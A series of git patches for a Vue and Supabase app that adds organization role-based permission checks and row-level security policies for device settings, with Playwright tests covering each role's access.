diff --git a/src/pages/app/p/[p]/d/[device].vue b/src/pages/app/p/[p]/d/[device].vue
index 6b1b855d03..e8af56d0c5 100644
--- a/src/pages/app/p/[p]/d/[device].vue
+++ b/src/pages/app/p/[p]/d/[device].vue
@@ -13,6 +13,8 @@ import IconLog from '~icons/heroicons/document'
 import IconInformations from '~icons/heroicons/information-circle'
 import type { Tab } from '~/components/comp_def'
 import { appIdToUrl, urlToAppId } from '~/services/conversion'
+import type { OrganizationRole } from '~/stores/organization'
+import { useOrganizationStore } from '~/stores/organization'
 
 interface Device {
   version: Database['public']['Tables']['app_versions']['Row']
@@ -39,6 +41,7 @@ const packageId = ref<string>('')
 const id = ref<string>()
 const isLoading = ref(true)
 const ActiveTab = ref('info')
+const organizationStore = useOrganizationStore()
 
 const device = ref<Database['public']['Tables']['devices']['Row'] & Device>()
 const logs = ref<(Database['public']['Tables']['stats']['Row'] & Stat)[]>([])
@@ -46,6 +49,7 @@ const deviceOverride = ref<Database['public']['Tables']['devices_override']['Row
 const channels = ref<(Database['public']['Tables']['channels']['Row'] & Channel)[]>([])
 const versions = ref<Database['public']['Tables']['app_versions']['Row'][]>([])
 const channelDevice = ref<Database['public']['Tables']['channel_devices']['Row'] & ChannelDev>()
+const role = ref<OrganizationRole | null>(null)
 
 const tabs: Tab[] = [
   {
@@ -187,6 +191,24 @@ async function getDevice() {
   }
 }
 
+async function getOrgRole() {
+  const supabaseAppFetch = supabase.from('apps')
+    .select('user_id')
+    .eq('app_id', packageId.value)
+    .single()
+
+  const orgFetch = organizationStore.dedupFetchOrganizations()
+  const allFetch = await Promise.all([supabaseAppFetch, orgFetch])
+  const { data, error } = allFetch[0]
+
+  if (error || !data) {
+    console.error(`Cannot get role, error:\n${error}`)
+    return
+  }
+
+  role.value = organizationStore.getCurrentRole(data.user_id, packageId.value, undefined)
+}
+
 function minVersion(val: string, min = '4.6.99') {
   return gt(val, min)
 }
@@ -200,6 +222,7 @@ async function loadData() {
     getChannelOverride(),
     getChannels(),
     getVersion(),
+    getOrgRole(),
   ])
   isLoading.value = false
 }
@@ -390,6 +413,14 @@ watchEffect(async () => {
     displayStore.defaultBack = `/app/package/${route.params.p}/devices`
   }
 })
+
+function guardCustomID(event: Event) {
+  if (!organizationStore.hasPermisisonsInRole(role.value, ['admin', 'owner', 'write'])) {
+    toast.error(t('no-permission'))
+    event.preventDefault()
+    return false
+  }
+}
 </script>
 
 <template>
@@ -399,7 +430,7 @@ watchEffect(async () => {
       <div class="flex flex-col overflow-y-auto bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-2/3 md:border dark:border-slate-900 md:rounded-lg dark:bg-gray-800">
         <dl class="divide-y divide-gray-500">
           <InfoRow :label="t('device-id')" :value="device.device_id" />
-          <InfoRow v-if="device" v-model:value="device.custom_id" editable :label="t('custom-id')" @update:value="saveCustomId" />
+          <InfoRow v-if="device" v-model:value="device.custom_id" editable :label="t('custom-id')" :readonly="!organizationStore.hasPermisisonsInRole(role, ['admin', 'owner', 'write'])" @update:value="saveCustomId" @click="guardCustomID" />
           <InfoRow v-if="device.created_at" :label="t('created-at')" :value="formatDate(device.created_at)" />
           <InfoRow v-if="device.updated_at" :label="t('last-update')" :value="formatDate(device.updated_at)" />
           <InfoRow v-if="device.platform" :label="t('platform')" :value="device.platform" />
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index a3e4f05db5..6a71e2b8de 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -2673,6 +2673,8 @@ CREATE POLICY "Allow app owner to read" ON "public"."stats" FOR SELECT TO "authe
 
 CREATE POLICY "Allow org admin to all" ON "public"."org_users" TO "authenticated" USING ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "org_id", NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "org_id", NULL::character varying, NULL::bigint));
 
+CREATE POLICY "Allow org member (write) to update" ON "public"."app_versions" TO "authenticated" USING ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id"(user_id), NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id"(user_id), NULL::character varying, NULL::bigint));
+
 CREATE POLICY "Allow owner to all" ON "public"."app_versions" TO "authenticated" USING (("public"."is_app_owner"("auth"."uid"(), "app_id") OR "public"."is_admin"("auth"."uid"()))) WITH CHECK (("public"."is_app_owner"("auth"."uid"(), "app_id") OR "public"."is_admin"("auth"."uid"())));
 
 CREATE POLICY "Allow owner to all" ON "public"."orgs" TO "authenticated" USING ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "id", NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "id", NULL::character varying, NULL::bigint));
@@ -2751,6 +2753,11 @@ AS PERMISSIVE FOR SELECT
 TO public
 USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id_by_app_id"(app_id::TEXT), app_id, NULL::bigint));
 
+CREATE POLICY "Allow org members to select" ON "public"."app_versions_meta"
+AS PERMISSIVE FOR SELECT
+TO public
+USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id_by_app_id"(app_id::TEXT), app_id, NULL::bigint));
+
 CREATE POLICY "Allow org owner to all" ON "public"."org_users"
 AS PERMISSIVE FOR ALL
 TO authenticated

From ec073b4c5d44d52e8bde8b6355c526e59c22ccef Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Mon, 13 Nov 2023 20:19:43 +0100
Subject: [PATCH 60/96] Devices permissions for org

---
 locales/en.yml                     |  2 +
 src/pages/app/p/[p]/d/[device].vue | 79 +++++++++++++++++++-----------
 tests/organization_system.spec.ts  | 70 +++++++++++++++++++++++---
 3 files changed, 116 insertions(+), 35 deletions(-)

diff --git a/locales/en.yml b/locales/en.yml
index a9995d66ca..80891b9e70 100644
--- a/locales/en.yml
+++ b/locales/en.yml
@@ -254,10 +254,12 @@ name: Name
 need-more-contact-us: Need more ? Contact us for tailored plan
 'no': 'no'
 no-channel-linked: No channel, click to add
+no-channel-linked-no-perm: No channel
 no-devices: No devices
 no-logs: No logs
 no-permission: Insufficient permissions
 no-version-linked: No version, click to add
+no-version-linked-no-perm: No version
 none: None
 not-found: Not found
 notifications: Notifications
diff --git a/src/pages/app/p/[p]/d/[device].vue b/src/pages/app/p/[p]/d/[device].vue
index e8af56d0c5..af6c2563fe 100644
--- a/src/pages/app/p/[p]/d/[device].vue
+++ b/src/pages/app/p/[p]/d/[device].vue
@@ -284,6 +284,13 @@ async function delDevVersion(device: string) {
     .eq('app_id', packageId.value)
 }
 async function updateOverride() {
+  const hasPerm = organizationStore.hasPermisisonsInRole(role.value, ['admin', 'owner', 'write'])
+
+  if (!hasPerm) {
+    toast.error(t('no-permission'))
+    return
+  }
+
   const buttons = []
   if (deviceOverride.value) {
     buttons.push({
@@ -352,15 +359,25 @@ async function delDevChannel(device: string) {
 
 async function updateChannel() {
   const buttons = []
+  const hasPerm = organizationStore.hasPermisisonsInRole(role.value, ['admin', 'owner', 'write'])
+
+  if (!hasPerm && !channelDevice.value) {
+    toast.error(t('no-permission'))
+    return
+  }
+
   if (channelDevice.value) {
-    buttons.push({
-      text: t('button-remove'),
-      handler: async () => {
-        device.value?.device_id && await delDevChannel(device.value?.device_id)
-        toast.success(t('unlink-channel'))
-        await loadData()
-      },
-    })
+    if (hasPerm) {
+      buttons.push({
+        text: t('button-remove'),
+        handler: async () => {
+          device.value?.device_id && await delDevChannel(device.value?.device_id)
+          toast.success(t('unlink-channel'))
+          await loadData()
+        },
+      })
+    }
+
     buttons.push({
       text: t('open-channel'),
       handler: async () => {
@@ -369,26 +386,30 @@ async function updateChannel() {
       },
     })
   }
-  for (const channel of channels.value) {
-    buttons.push({
-      text: channel.name,
-      handler: async () => {
-        if (!device.value?.device_id)
-          return
-        isLoading.value = true
-        try {
-          await upsertDevChannel(device.value?.device_id, channel)
-          toast.success(t('channel-linked'))
-          await loadData()
-        }
-        catch (error) {
-          console.error(error)
-          toast.error(t('channel-link-fail'))
-        }
-        isLoading.value = false
-      },
-    })
+
+  if (hasPerm) {
+    for (const channel of channels.value) {
+      buttons.push({
+        text: channel.name,
+        handler: async () => {
+          if (!device.value?.device_id)
+            return
+          isLoading.value = true
+          try {
+            await upsertDevChannel(device.value?.device_id, channel)
+            toast.success(t('channel-linked'))
+            await loadData()
+          }
+          catch (error) {
+            console.error(error)
+            toast.error(t('channel-link-fail'))
+          }
+          isLoading.value = false
+        },
+      })
+    }
   }
+
   buttons.push({
     text: t('button-cancel'),
     role: 'cancel',
@@ -440,8 +461,8 @@ function guardCustomID(event: Event) {
           <InfoRow v-if="device.os_version" :label="t('os-version')" :value="device.os_version" />
           <InfoRow v-if="minVersion(device.plugin_version) && device.is_emulator" :label="t('is-emulator')" :value="device.is_emulator?.toString()" />
           <InfoRow v-if="minVersion(device.plugin_version) && device.is_prod" :label="t('is-production-app')" :value="device.is_prod?.toString()" />
-          <InfoRow :label="t('force-version')" :value="deviceOverride?.version?.name || t('no-version-linked')" :is-link="true" @click="updateOverride()" />
-          <InfoRow :label="t('channel-link')" :value="channelDevice?.channel_id.name || t('no-channel-linked') " :is-link="true" @click="updateChannel()" />
+          <InfoRow id="update-version" :label="t('force-version')" :value="deviceOverride?.version?.name || t(organizationStore.hasPermisisonsInRole(role, ['admin', 'owner', 'write']) ? 'no-version-linked' : 'no-version-linked-no-perm')" :is-link="true" @click="updateOverride()" />
+          <InfoRow id="update-channel" :label="t('channel-link')" :value="channelDevice?.channel_id.name || t(organizationStore.hasPermisisonsInRole(role, ['admin', 'owner', 'write']) ? 'no-channel-linked' : 'no-channel-linked-no-perm')" :is-link="true" @click="updateChannel()" />
         </dl>
       </div>
     </div>
diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index cd4bf97aee..464aad33f8 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -1,7 +1,6 @@
 // import type { Page } from '@playwright/test'
 import type { Locator, Page } from '@playwright/test'
 import { expect, test } from '@playwright/test'
-import { A, E } from 'ios/App/App/public/assets/Account-fa6ef73d'
 import type { SupabaseType } from './utils'
 import { BASE_URL, awaitPopout, beforeEachTest, expectPopout, firstItemAsync, useSupabase, useSupabaseAdmin } from './utils'
 import type { Database } from '~/types/supabase.types'
@@ -184,6 +183,9 @@ test.describe('Test organization system permissions', () => {
       unlinkBundle: false,
       setBundleToChannel: false,
       setBundleMetadata: false,
+      setDeviceCustomId: false,
+      forceDeviceChannel: false,
+      forceDeviceVersion: false,
     },
     upload: {
       deleteChannel: false,
@@ -195,6 +197,9 @@ test.describe('Test organization system permissions', () => {
       unlinkBundle: false,
       setBundleToChannel: false,
       setBundleMetadata: false,
+      setDeviceCustomId: false,
+      forceDeviceChannel: false,
+      forceDeviceVersion: false,
     },
     write: {
       deleteChannel: false,
@@ -206,6 +211,9 @@ test.describe('Test organization system permissions', () => {
       unlinkBundle: true, // Important: Write HAS unlink bundle
       setBundleToChannel: true,
       setBundleMetadata: true,
+      setDeviceCustomId: true,
+      forceDeviceChannel: true,
+      forceDeviceVersion: true,
     },
     admin: {
       deleteChannel: true,
@@ -217,6 +225,9 @@ test.describe('Test organization system permissions', () => {
       unlinkBundle: true,
       setBundleToChannel: true,
       setBundleMetadata: true,
+      setDeviceCustomId: true,
+      forceDeviceChannel: true,
+      forceDeviceVersion: true,
     },
     owner: {
       deleteChannel: true,
@@ -228,12 +239,16 @@ test.describe('Test organization system permissions', () => {
       unlinkBundle: true,
       setBundleToChannel: true,
       setBundleMetadata: true,
+      setDeviceCustomId: true,
+      forceDeviceChannel: true,
+      forceDeviceVersion: true,
     },
   }
 
   for (const [inviteType, permission] of new Map(Object.entries(permissionMatrix))) {
     let channelSnapshots = null as Database['public']['Tables']['channels']['Row'][] | null
     let bundleSnapshot = null as Database['public']['Tables']['app_versions']['Row'] | null
+    let deviceSnapshot = null as Database['public']['Tables']['app_versions']['Devices'] | null
 
     test.describe(`Test organization system permissions (${inviteType})`, () => {
       test.describe.configure({ mode: 'serial' })
@@ -278,8 +293,16 @@ test.describe('Test organization system permissions', () => {
 
         await expect(error4).toBeFalsy()
 
+        const { data: deviceData, error: error5 } = await supabase.from('devices')
+          .select('*')
+          .eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
+          .single()
+
+        await expect(error5).toBeFalsy()
+
         channelSnapshots = data
         bundleSnapshot = bundleVersion
+        deviceSnapshot = deviceData
       })
 
       testWithInvitedUser.afterAll(async () => {
@@ -299,6 +322,12 @@ test.describe('Test organization system permissions', () => {
 
         const { error: error4 } = await supabase.from('app_versions').insert(bundleSnapshot!)
         await expect(error4).toBeFalsy()
+
+        const { error: error5 } = await supabase.from('devices').delete().eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
+        await expect(error5).toBeFalsy()
+
+        const { error: error6 } = await supabase.from('devices').insert(deviceSnapshot!)
+        await expect(error6).toBeFalsy()
       })
 
       testWithInvitedUser('Test user permissions', async ({ page }) => {
@@ -339,7 +368,7 @@ test.describe('Test organization system permissions', () => {
           const innerNumber = Number.parseInt(innerText)
 
           await expect(innerNumber).toBeTruthy()
-          await expect(innerNumber).toBeGreaterThan(1)
+          await expect(innerNumber).toBeGreaterThan(0)
         }))
 
         // go to 'channels'
@@ -485,9 +514,8 @@ test.describe('Test organization system permissions', () => {
         await page.goto(`${BASE_URL}/app/p/com--demo--app/bundles`)
 
         // Make sure we can see the bundles table
-        const allBundles = await page.locator('#custom_table > tbody > tr')
-        await page.waitForTimeout(100)
-        await expect(await allBundles.count()).toBeGreaterThan(0)
+        const firstBunlde = await page.locator('#custom_table > tbody > tr:nth-child(1)')
+        await expect(firstBunlde).toBeVisible()
 
         // Set supabase prod channel to 'metadata' disallow strategy
         const { error: errorSetMetadataOnProd } = await supabase.from('channels')
@@ -504,7 +532,7 @@ test.describe('Test organization system permissions', () => {
         await expect(page.locator('#action-sheet')).toBeVisible()
 
         // Get all buttons
-        const actionSheetButtons = await page.locator('#action-sheet > div > button').all()
+        let actionSheetButtons = await page.locator('#action-sheet > div > button').all()
 
         // Define a function to find a button. Usefull for further testing
         async function findButtonInActionSheet(actionSheetButtons: Locator[], text: string) {
@@ -547,6 +575,36 @@ test.describe('Test organization system permissions', () => {
 
           expect(readonly).toBe(true)
         }
+
+        await page.goto(`${BASE_URL}/app/p/com--demo--app/devices`)
+        const firstDevice = await page.locator('#custom_table > tbody > tr:nth-child(1)')
+        await expect(firstDevice).toBeVisible()
+
+        // Go to a specific device
+        await page.goto(`${BASE_URL}/app/p/com--demo--app/d/00009a6b-eefe-490a-9c60-8e965132ae51`)
+        await page.click('#inforow-input')
+
+        if (permission.setDeviceCustomId) {
+          await page.fill('#inforow-input', 'test')
+          await expectPopout(page, 'Custom ID saved')
+        }
+        else {
+          await expectPopout(page, 'Insufficient permissions')
+        }
+
+        await page.locator('#update-channel').click()
+
+        if (permission.forceDeviceChannel) {
+          await expect(page.locator('#action-sheet')).toBeVisible()
+          actionSheetButtons = await page.locator('#action-sheet > div > button').all()
+
+          const cancelButton = await findButtonInActionSheet(actionSheetButtons, 'cancel')
+          await expect(cancelButton).toBeTruthy()
+          await cancelButton!.click()
+        }
+        else {
+          await expectPopout(page, 'Insufficient permissions')
+        }
       })
     })
   }

From 0d179b15abbafd5275e12bcdae29cc6cec1ec04a Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Tue, 14 Nov 2023 05:58:49 +0100
Subject: [PATCH 61/96] Add missing files

---
 src/stores/organization.ts |  2 +-
 tests/utils.ts             | 14 +++++---------
 tests_backend/utils.ts     |  1 +
 3 files changed, 7 insertions(+), 10 deletions(-)

diff --git a/src/stores/organization.ts b/src/stores/organization.ts
index 80b905af9a..2ed2296f96 100644
--- a/src/stores/organization.ts
+++ b/src/stores/organization.ts
@@ -132,7 +132,7 @@ export const useOrganizationStore = defineStore('organization', () => {
 
   const dedupFetchOrganizations = async () => {
     if (_organizations.value.size === 0)
-      fetchOrganizations()
+      await fetchOrganizations()
   }
 
   const createOrganization = (name: string, logo?: string) => {
diff --git a/tests/utils.ts b/tests/utils.ts
index 66da390a45..af9d0daa70 100644
--- a/tests/utils.ts
+++ b/tests/utils.ts
@@ -30,16 +30,10 @@ export async function expectPopout(page: Page, toHave: string) {
   const popOutLocator = '.k-ios > section:nth-child(4) > ol:nth-child(1) > li:nth-child(1) > div:nth-child(3) > div:nth-child(1)'
   await expect(page.locator(popOutLocator)).toContainText(toHave)
 
-  // Close all popouts
-  let popOutVisible = true
-  while (popOutVisible) {
-    // Close the popout
+  const a = '.k-ios > section:nth-child(4) > ol:nth-child(1) > li:nth-child(1) > button:nth-child(1)'
+  if (await page.locator(a).isVisible()) {
     await page.click('.k-ios > section:nth-child(4) > ol:nth-child(1) > li:nth-child(1) > button:nth-child(1)')
-
-    await page.waitForTimeout(250)
-
-    // Check if the popout is still visible
-    popOutVisible = await page.locator(popOutLocator).isVisible()
+    await expect(page.locator(popOutLocator)).toBeHidden()
   }
 }
 
@@ -101,3 +95,5 @@ export async function firstItemAsync<T>(array: T[], predicate: Predicate<T>): Pr
   // If we do not find any matches, "reject" by raising an error.
   return undefined
 }
+
+export const awaitPopout = (page: Page) => expect(page.locator('#popout')).toBeVisible()
diff --git a/tests_backend/utils.ts b/tests_backend/utils.ts
index f9eebd9d80..2b12e53225 100644
--- a/tests_backend/utils.ts
+++ b/tests_backend/utils.ts
@@ -104,6 +104,7 @@ export async function testPlaywright(spec: string, env: { [key: string]: string
       SUPABASE_ANON: supabaseAnonToken!,
       SUPABASE_SERVICE: supabaseSecret!,
       SUPABASE_URL: supabaseUrl!,
+      START_FRONTEND: true,
       ...env,
     },
   })

From 6ce7abd3ea321cb9f02ca85cb1851f5ec45fa76e Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Tue, 14 Nov 2023 20:28:57 +0100
Subject: [PATCH 62/96] More tests for device

---
 tests/organization_system.spec.ts | 22 ++++++++++++++++++++--
 1 file changed, 20 insertions(+), 2 deletions(-)

diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index 464aad33f8..3d44e6cc11 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -248,7 +248,7 @@ test.describe('Test organization system permissions', () => {
   for (const [inviteType, permission] of new Map(Object.entries(permissionMatrix))) {
     let channelSnapshots = null as Database['public']['Tables']['channels']['Row'][] | null
     let bundleSnapshot = null as Database['public']['Tables']['app_versions']['Row'] | null
-    let deviceSnapshot = null as Database['public']['Tables']['app_versions']['Devices'] | null
+    let deviceSnapshot = null as Database['public']['Tables']['devices']['Row'] | null
 
     test.describe(`Test organization system permissions (${inviteType})`, () => {
       test.describe.configure({ mode: 'serial' })
@@ -592,7 +592,8 @@ test.describe('Test organization system permissions', () => {
           await expectPopout(page, 'Insufficient permissions')
         }
 
-        await page.locator('#update-channel').click()
+        const updateVersionLocator = page.locator('#update-version')
+        await updateVersionLocator.click()
 
         if (permission.forceDeviceChannel) {
           await expect(page.locator('#action-sheet')).toBeVisible()
@@ -605,6 +606,23 @@ test.describe('Test organization system permissions', () => {
         else {
           await expectPopout(page, 'Insufficient permissions')
         }
+
+        const updateChannelLocator = page.locator('#update-channel')
+        await updateChannelLocator.click()
+
+        if (permission.forceDeviceVersion) {
+          await expect(page.locator('#action-sheet')).toBeVisible()
+          actionSheetButtons = await page.locator('#action-sheet > div > button').all()
+
+          const cancelButton = await findButtonInActionSheet(actionSheetButtons, 'cancel')
+          await expect(cancelButton).toBeTruthy()
+          await cancelButton!.click()
+        }
+        else {
+          await expectPopout(page, 'Insufficient permissions')
+          const innerHtml = await updateChannelLocator.innerHTML()
+          expect(innerHtml.includes('click to add')).toBe(false)
+        }
       })
     })
   }

From e8c4bcc86df31519f635e1fb23f0249526243b49 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Wed, 15 Nov 2023 06:30:29 +0100
Subject: [PATCH 63/96] Device version overwrite finalize test

---
 supabase/migrations/20230815171919_base.sql | 14 +++++-
 tests/organization_system.spec.ts           | 50 ++++++++++++++++++---
 2 files changed, 58 insertions(+), 6 deletions(-)

diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 6a71e2b8de..3d90c643b4 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -2673,7 +2673,19 @@ CREATE POLICY "Allow app owner to read" ON "public"."stats" FOR SELECT TO "authe
 
 CREATE POLICY "Allow org admin to all" ON "public"."org_users" TO "authenticated" USING ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "org_id", NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "org_id", NULL::character varying, NULL::bigint));
 
-CREATE POLICY "Allow org member (write) to update" ON "public"."app_versions" TO "authenticated" USING ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id"(user_id), NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id"(user_id), NULL::character varying, NULL::bigint));
+CREATE POLICY "Allow org member (write) to update" ON "public"."app_versions" FOR UPDATE TO "authenticated" USING ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id"(user_id), NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id"(user_id), NULL::character varying, NULL::bigint));
+
+CREATE POLICY "Allow org member (write) to insert" ON "public"."devices_override" FOR INSERT TO "authenticated" WITH CHECK ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org member (write) to delete" ON "public"."devices_override" FOR DELETE TO "authenticated" USING ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org member to read" ON "public"."devices_override" FOR SELECT TO "authenticated" USING ("public"."check_min_rights"('read'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org member (write) to insert" ON "public"."channel_devices" FOR INSERT TO "authenticated" WITH CHECK ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org member (write) to delete" ON "public"."channel_devices" FOR DELETE TO "authenticated" USING ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org member to read" ON "public"."channel_devices" FOR SELECT TO "authenticated" USING ("public"."check_min_rights"('read'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
 
 CREATE POLICY "Allow owner to all" ON "public"."app_versions" TO "authenticated" USING (("public"."is_app_owner"("auth"."uid"(), "app_id") OR "public"."is_admin"("auth"."uid"()))) WITH CHECK (("public"."is_app_owner"("auth"."uid"(), "app_id") OR "public"."is_admin"("auth"."uid"())));
 
diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index 3d44e6cc11..269d00db37 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -1,4 +1,5 @@
 // import type { Page } from '@playwright/test'
+import { count } from 'node:console'
 import type { Locator, Page } from '@playwright/test'
 import { expect, test } from '@playwright/test'
 import type { SupabaseType } from './utils'
@@ -300,6 +301,12 @@ test.describe('Test organization system permissions', () => {
 
         await expect(error5).toBeFalsy()
 
+        const { error: error6 } = await supabase.from('channel_devices').delete().eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
+        await expect(error6).toBeFalsy()
+
+        const { error: error7 } = await supabase.from('devices_override').delete().eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
+        await expect(error7).toBeFalsy()
+
         channelSnapshots = data
         bundleSnapshot = bundleVersion
         deviceSnapshot = deviceData
@@ -595,13 +602,46 @@ test.describe('Test organization system permissions', () => {
         const updateVersionLocator = page.locator('#update-version')
         await updateVersionLocator.click()
 
-        if (permission.forceDeviceChannel) {
+        if (permission.forceDeviceVersion) {
           await expect(page.locator('#action-sheet')).toBeVisible()
           actionSheetButtons = await page.locator('#action-sheet > div > button').all()
 
-          const cancelButton = await findButtonInActionSheet(actionSheetButtons, 'cancel')
-          await expect(cancelButton).toBeTruthy()
-          await cancelButton!.click()
+          // Now let's add an overwrite
+          const specificVersion = await findButtonInActionSheet(actionSheetButtons, '1.0.0')
+          await expect(specificVersion).toBeTruthy()
+          await specificVersion!.click()
+
+          await expectPopout(page, 'Version link')
+          const { error: versionOverwriteError } = await supabase.from('devices_override')
+            .select('version')
+            .eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
+            .single()
+
+          await expect(versionOverwriteError).toBeFalsy()
+
+          await expect(page.locator('#action-sheet')).toBeHidden()
+
+          // Now let's delete this version
+          await updateVersionLocator.click()
+          await expect(page.locator('#action-sheet')).toBeVisible()
+          actionSheetButtons = await page.locator('#action-sheet > div > button').all()
+
+          const removeButton = await findButtonInActionSheet(actionSheetButtons, 'remove')
+          await expect(removeButton).toBeTruthy()
+          await removeButton!.click()
+
+          await awaitPopout(page)
+          const finalRemoveButton = await findPopoutButton(page, 'delete')
+
+          await expect(finalRemoveButton).toBeTruthy()
+          await finalRemoveButton!.click()
+
+          const { error: versionOverwriteRemoveError, count: versionOverwritesCount } = await supabase.from('devices_override')
+            .select('version', { count: 'exact' })
+            .eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
+
+          await expect(versionOverwriteRemoveError).toBeFalsy()
+          await expect(versionOverwritesCount).toBe(0)
         }
         else {
           await expectPopout(page, 'Insufficient permissions')
@@ -610,7 +650,7 @@ test.describe('Test organization system permissions', () => {
         const updateChannelLocator = page.locator('#update-channel')
         await updateChannelLocator.click()
 
-        if (permission.forceDeviceVersion) {
+        if (permission.forceDeviceChannel) {
           await expect(page.locator('#action-sheet')).toBeVisible()
           actionSheetButtons = await page.locator('#action-sheet > div > button').all()
 

From 01121f4e16f4e01837a873a35cfbebd986c13587 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Wed, 15 Nov 2023 15:22:28 +0100
Subject: [PATCH 64/96] Device reactivity fix

---
 src/pages/app/p/[p]/d/[device].vue | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/src/pages/app/p/[p]/d/[device].vue b/src/pages/app/p/[p]/d/[device].vue
index af6c2563fe..018c19504b 100644
--- a/src/pages/app/p/[p]/d/[device].vue
+++ b/src/pages/app/p/[p]/d/[device].vue
@@ -1,5 +1,5 @@
 <script setup lang="ts">
-import { ref, watchEffect } from 'vue'
+import { getCurrentInstance, ref, watchEffect } from 'vue'
 import { useI18n } from 'vue-i18n'
 import { useRoute, useRouter } from 'vue-router'
 import { gt } from 'semver'
@@ -50,6 +50,7 @@ const channels = ref<(Database['public']['Tables']['channels']['Row'] & Channel)
 const versions = ref<Database['public']['Tables']['app_versions']['Row'][]>([])
 const channelDevice = ref<Database['public']['Tables']['channel_devices']['Row'] & ChannelDev>()
 const role = ref<OrganizationRole | null>(null)
+const reloadCount = ref(0)
 
 const tabs: Tab[] = [
   {
@@ -224,6 +225,7 @@ async function loadData() {
     getVersion(),
     getOrgRole(),
   ])
+  reloadCount.value += 1
   isLoading.value = false
 }
 
@@ -297,7 +299,7 @@ async function updateOverride() {
       text: t('button-remove'),
       handler: async () => {
         device.value?.device_id && await delDevVersion(device.value?.device_id)
-        toast.error(t('unlink-version'))
+        toast.success(t('unlink-version'))
         await loadData()
       },
     })
@@ -311,7 +313,7 @@ async function updateOverride() {
         isLoading.value = true
         try {
           await upsertDevVersion(device.value?.device_id, version)
-          toast.error(t('version-linked'))
+          toast.success(t('version-linked'))
           await loadData()
         }
         catch (error) {
@@ -449,7 +451,7 @@ function guardCustomID(event: Event) {
     <Tabs v-model:active-tab="ActiveTab" :tabs="tabs" />
     <div v-if="ActiveTab === 'info'" id="devices" class="flex flex-col">
       <div class="flex flex-col overflow-y-auto bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-2/3 md:border dark:border-slate-900 md:rounded-lg dark:bg-gray-800">
-        <dl class="divide-y divide-gray-500">
+        <dl :key="reloadCount" class="divide-y divide-gray-500">
           <InfoRow :label="t('device-id')" :value="device.device_id" />
           <InfoRow v-if="device" v-model:value="device.custom_id" editable :label="t('custom-id')" :readonly="!organizationStore.hasPermisisonsInRole(role, ['admin', 'owner', 'write'])" @update:value="saveCustomId" @click="guardCustomID" />
           <InfoRow v-if="device.created_at" :label="t('created-at')" :value="formatDate(device.created_at)" />

From a81a93b51d97412993c58caf58e9e77f1ef6a151 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
